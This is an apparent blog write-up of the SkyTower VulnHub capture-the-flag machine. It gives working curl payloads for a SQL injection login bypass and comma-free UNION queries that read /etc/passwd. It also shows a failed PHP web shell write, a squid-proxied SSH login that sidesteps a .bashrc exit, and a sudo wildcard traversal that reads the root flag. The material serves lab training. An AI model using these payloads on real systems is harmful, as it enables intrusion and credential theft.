foreword

Recently, at a local Security Conference, @telspacesystems ran a CTF. It was a classic ‘read /root/flag.txt’ CTF hosted on a wireless network. Sadly the wifi sucked, a lot, and due to this and a flat battery I was not able to attempt this CTF properly at the con. Nonetheless, the VM was released on VulnHub, and was promptly downloaded and loaded into VirtualBox.

In summary, this CTF taught me some interesting things about SQL injection where filters are present. More specifically, commas were filtered out and resulted in the need from some creative thinking :)

starting off

The very first thing to do was get the IP assigned by my home router to the VM. Loaded this up into a web browser and saw the skytower web page as per the screenshots in the vulnhub entry. The IP I got was 192.168.137.242.

The home page presented you with a login screen and a 2.5MB ‘background.jpg’ image. Right in the beginning I was started off on the wrong path. I downloaded this background image and attempted to see if there was anything particularly interesting about it. Sadly, the answer to this question was a loud NOPE. I started dirbuster on the web interface and proceeded with a nmap scan of 192.168.137.242 after which I had to call it a night.

$ nmap --reason -Pn 192.168.137.242

Starting Nmap 6.46 ( http://nmap.org ) at 2014-07-17 18:32 SAST
Nmap scan report for 192.168.137.242
Host is up, received user-set (0.0020s latency).
Not shown: 997 closed ports
Reason: 997 conn-refused
PORT     STATE    SERVICE    REASON
22/tcp   filtered ssh        no-response
80/tcp   open     http       syn-ack
3128/tcp open     squid-http syn-ack

Next morning I reviewed the results and continued to poke around.

learn all you can

With the information gathered so far, I realized that the SSH (tcp/22) was explicitly filtered, however the squid proxy was open. I tried to telnet and use the CONNECT method to see if I was able to access the SSH service:

$ telnet 192.168.137.242 3128
Trying 192.168.137.242...
Connected to 192.168.137.242.
Escape character is '^]'.
CONNECT 127.0.0.1:22
HTTP/1.0 200 Connection established

SSH-2.0-OpenSSH_6.0p1 Debian-4+deb7u1
^]
telnet> quit
Connection closed.

Great, soooo I can get access to the SSH service of needed. The dirbuster results showed nothing of particular interest, but it was worth a shot anyways. An important thing to note here is that I suspect I maxed out the disk space in the VM due to the access_log growing too big from the dirbust. This caused me numerous headaches and frustrated me quite a bit when I was testing. Anyways…

The next step was to poke around the web application. I personally really enjoy web hacking so this was probably the most fun of the whole CTF. The web page presented you with a simple form that would POST to login.php. 2 fields were posted: email & password

A natural reaction is to try and use a single quote in form fields as a quick and nasty check for potential SQL injection. A login attempt with a username of test and password ' resulted in:

There was an error running the query [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1]

Classic SQLi! Surprised I continued with simple login bypasses. None that I could think of out of my head appeared to work. Eventually I started to notice that some of the keywords that I was using were not appearing in the error messages. This hinted heavily towards the fact that there may be some form of filtering in place. Eventually, I put the request down in a curl command so that I can work with this slightly easier. To sample the keywords being removed:

$ curl --data "email=foo@bar&password=' OR 1=1#" http://192.168.137.242/login.php
There was an error running the query [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '11#'' at line 1]%

$ curl --data "email=foo@bar&password='1 OR 1=1#" http://192.168.137.242/login.php
There was an error running the query [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1  11#'' at line 1]%

Ok, so no OR. Thats ok, we can substitute this easily with ||.

$ curl --data "email=foo@bar&password=' || 1=1#" http://192.168.137.242/login.php
<HTML>
      <div style="height:100%; width:100%;background-image:url('background.jpg');
                                background-size:100%;
                                background-position:50% 50%;
                                background-repeat:no-repeat;">
      <div style="
        padding-right:8px;
              padding-left:10px;
        padding-top: 10px;
              padding-bottom: 10px;
                  background-color:white;
                  border-color: #000000;
                  border-width: 5px;
                  border-style: solid;
                  width: 400px;
                  height:430px;
                  position:absolute;
                  top:50%;
                  left:50%;
                  margin-top:-215px; /* this is half the height of your div*/
                  margin-left:-200px;
                                ">
   <br><strong><font size=4>Welcome john@skytech.com</font><br /> </br></strong>As you may know, SkyTech has ceased all international operations.<br><br> To all our long term employees, we wish to convey our thanks for your dedication and hard work.<br><br><strong>Unfortunately, all international contracts, including yours have been terminated.</strong><br><br> The remainder of your contract and retirement fund, <strong>$2</strong> ,has been payed out in full to a secure account.  For security reasons, you must login to the SkyTech server via SSH to access the account details.<br><br><strong>Username: john</strong><br><strong>Password: hereisjohn</strong> <br><br> We wish you the best of luck in your future endeavors. <br> </div> </div></HTML>%

And success. We have made some progress :D Little did I know that I don’t actually completely understand the progress made yet, but just keep this in mind :)

climbing the tower and faling hard

From the auth bypass results, we can see specific mention for users to SSH into the server. This particular user has a username john and a password hereisjohn. So lets try this. I setup my proxychains install to use the http proxy available on the server (http 192.168.137.242 3128) and opened a SSH session through it:

$ proxychains4 ssh john@127.0.0.1
[snip]
[proxychains] Strict chain  ...  192.168.137.242:3128  ...  127.0.0.1:22  ...  OK
john@127.0.0.1's password:
Linux SkyTower 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jul 17 12:54:32 2014 from localhost

Funds have been withdrawn
Connection to 127.0.0.1 closed.
$

… ok. So we get a session, and are told Funds have been withdrawn, and get the connection closed. Not exactly what I hoped for. Thinking what could cause this behavior, my mind went on to things like a custom shell, .bashrc files (assuming the user has bash a a shell) etc. So, I figured there may be more users on the system and I should try get those credentials too. After all, we have a working SQL injection point.

more sql injection

So back to the SQLi point it was. Taking a wild guess, I assumed there is a users table, and the table will have a primary key of id. So, john may have id 1, and a next user have id 2. So I modified the query slightly:

$ curl --data "email=foo@bar&password=' || id=1#" http://192.168.137.242/login.php
There was an error running the query [Unknown column 'id1' in 'where clause']%

Well I definitely didn’t ask for the column id1, but from this again it was apparent that = was filtered along with OR. :| Ok, so we change the payload again:

$ curl --data "email=foo@bar&password=' || id > 1#" http://192.168.137.242/login.php
[snip]
<br><strong><font size=4>Welcome sara@skytech.com</font><br /> </br></strong>As you may know, SkyTech has ceased all international operations.<br><br> To all our long term employees, we wish to convey our thanks for your dedication and hard work.<br><br><strong>Unfortunately, all international contracts, including yours have been terminated.</strong><br><br> The remainder of your contract and retirement fund, <strong>$2</strong> ,has been payed out in full to a secure account.  For security reasons, you must login to the SkyTech server via SSH to access the account details.<br><br><strong>Username: sara</strong><br><strong>Password: ihatethisjob</strong> <br><br> We wish you the best of luck in your future endeavors. <br> </div> </div></HTML>%

Yay, my guess on the id column was correct, and I now had a second users details. I continued to increment the id, and ended up with 3 accounts:

  • john:hereisjohn
  • sara:ihatethisjob
  • william:senseable

The users john & sara both had the same behavior when attempting login via SSH, and the user william appears to have had an incorrect password. So, again the results were not exactly what I hoped for.

more SQL enumeration

At this stage, I was thinking there must be more information in the database, and I should try and read some files from disk in order to gain a better understanding of what is going on here.

Fast forward a few hours, I discovered that a few more keywords and symbols were filtered. The hardest being the realization that a union select was not working as expected so that I can enumerate the columns. Even though the initial entry on vulnhub mentioned that automated tools would probably not work, I figured in this case that I had a valid SQLi, I could just make use of some SQLMap automagic. Again NOPE. Even with --level 3 & --risk 3 there was no joy. This is ok.

I studied the error messages in detail, googled… a lot… and eventually came across this blogpost, detailing a way to get a union working without the ability to use commas. I should also note that I managed to bypass the SELECT filter by using SELECSELECTT in the payload. Assuming that the filter was a simple str_replace(), this left me with SELECT after the pass.

For the sake of brevity I am not going to detail all of the methods I used in order to exploit the SQLi and get value out of it. I managed to learn that the database user used by the PHP application was root. The query used in login.php returned 3 columns. One particular payload of interest that uses the method in the previously mentioned blog post, was used to start reading files from the servers disk. More specifically, /etc/passwd:

$ curl --data "email=foo@bar&password=' or union selecselectt * from (selecselectt 111) as a JOIN (selecselectt 222) as b JOIN (selecselectt load_file('/etc/password')) as c#" http://192.168.137.242/login.php
[snip]
<br><strong><font size=4>Welcome 222</font><br /> </br></strong>As you may know, SkyTech has ceased all international operations.<br><br> To all our long term employees, we wish to convey our thanks for your dedication and hard work.<br><br><strong>Unfortunately, all international contracts, including yours have been terminated.</strong><br><br> The remainder of your contract and retirement fund, <strong>$2</strong> ,has been payed out in full to a secure account.  For security reasons, you must login to the SkyTech server via SSH to access the account details.<br><br><strong>Username: 222</strong><br><strong>Password: root❌0:0:root:/root:/bin/bash
daemon❌1:1:daemon:/usr/sbin:/bin/sh
bin❌2:2:bin:/bin:/bin/sh
sys❌3:3:sys:/dev:/bin/sh
sync❌4:65534:sync:/bin:/bin/sync
games❌5:60:games:/usr/games:/bin/sh
man❌6:12:man:/var/cache/man:/bin/sh
lp❌7:7:lp:/var/spool/lpd:/bin/sh
mail❌8:8:mail:/var/mail:/bin/sh
news❌9:9:news:/var/spool/news:/bin/sh
uucp❌10:10:uucp:/var/spool/uucp:/bin/sh
proxy❌13:13:proxy:/bin:/bin/sh
www-data❌33:33:www-data:/var/www:/bin/sh
backup❌34:34:backup:/var/backups:/bin/sh
list❌38:38:Mailing List Manager:/var/list:/bin/sh
irc❌39:39:ircd:/var/run/ircd:/bin/sh
gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody❌65534:65534:nobody:/nonexistent:/bin/sh
libuuid❌100:101::/var/lib/libuuid:/bin/sh
sshd❌101:65534::/var/run/sshd:/usr/sbin/nologin
mysql❌102:105:MySQL Server,,,:/nonexistent:/bin/false
john❌1000:1000:john,,,:/home/john:/bin/bash
sara❌1001:1001:,,,:/home/sara:/bin/bash
william❌1002:1002:,,,:/home/william:/bin/bash
</strong> <br><br> We wish you the best of luck in your future endeavors. <br> </div> </div></HTML>

Reading the /etc/passwd revealed that there were no custom shells used for the users that were enumerated previously. O..k.. I also pulled the sources of login.php in order to understand what the deal with the filtering was:

$sqlinjection = array("SELECT", "TRUE", "FALSE", "--","OR", "=", ",", "AND", "NOT");
$email = str_ireplace($sqlinjection, "", $_POST['email']);
$password = str_ireplace($sqlinjection, "", $_POST['password']);

And as suspected. :)

One last thing that I tried, really hard, was to get a web shell on the server so that I can further explore the environment. This failed miserably. The closest I was able to get was:

$ curl --data "email=foo@bar&password=' or union selecselectt * from (selecselectt 111) as a JOIN (selecselectt 222) as b JOIN (selecselectt '<?php print_r(shell_exec($_GET[cmd])); ?>') as c into outfile '/var/www/shell.php'#" http://192.168.137.242/login.php
There was an error running the query [Can't create/write to file '/var/www/shell.php' (Errcode: 13)]

This obviously alludes to the fact that the user MySQL is running as des not have access to write to the web folder. It was time to rethink what was going on here… Oh yes, I obviously tried to just cat /root/flag.txt, but didn’t expect it to be that easy :D

gaining further access

After spending a really long time with the SQL injections, I decided to relook the SSH section. From the SQL injection that I learnt that there don’t appear to be any custom shells in use, so the other thing this could be is a .bashrc with a exit command. I know its .bashrc because I saw the shell is /bin/bash from the /etc/passwd. I remember that I make heavy use of ssh -t to execute commands on the remove server, usually to setup multiple tunnels into a network, so I thought it will come in handy here.

For this case though, I though I’d specify a /bin/sh as the command to run, hoping to not get caught in a .bashrc running:

$ proxychains4 -q ssh john@127.0.0.1 -t /bin/sh
john@127.0.0.1's password:
$ id
uid=1000(john) gid=1000(john) groups=1000(john)

Woop! I was now logged in as john. I inspected the .bashrc file and saw that at the end there was:

echo
echo  "Funds have been withdrawn"
exit

… a exit. I simply removed the line. Now the almost obvious next step was to inspect and enumerate as much as possible. The most obvious thing that came to mind was privilege escalation as I was simply a normal user on the system at the moment.

enumeration enumeration enumeration

I enumerated, everything… Referring to a excellent post by g0tm1lk nothing aparent came up. The only semi strange thing was a empty /accounts/ directory:

john@SkyTower:/accounts$ ls -lah /accounts/
total 8.0K
drwxr-xr-x  2 root root 4.0K Jun 20 07:52 .
drwxr-xr-x 24 root root 4.0K Jun 20 07:52 ..

Other than that things seemed pretty normal. I decided to check out the other user sara too. This user has a similar exit in the .bashrc which I just removed. There was one distinct difference during enumeration though…

sara@SkyTower:~$ sudo -l
Matching Defaults entries for sara on this host:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sara may run the following commands on this host:
    (root) NOPASSWD: /bin/cat /accounts/*, (root) /bin/ls /accounts/*

This user may execute some commands as root using sudo. sudo allows you to specify what those commands are, if not all. There was one problem with this configuration though. * is a wildcard character, and as such, anything after cat /accounts/ may also be run. This means that things like sudo cat /accounts/../../etc/shadow will work as the wildcard allows us to do a form of directory traversal.

pwnd

So, to complete SkyTower:

sara@SkyTower:~$ sudo cat /accounts/../../root/flag.txt
Congratz, have a cold one to celebrate!
root password is theskytower

Thanks to @telspacesystems for the fun experience. I learnt something so for this was totally worth it!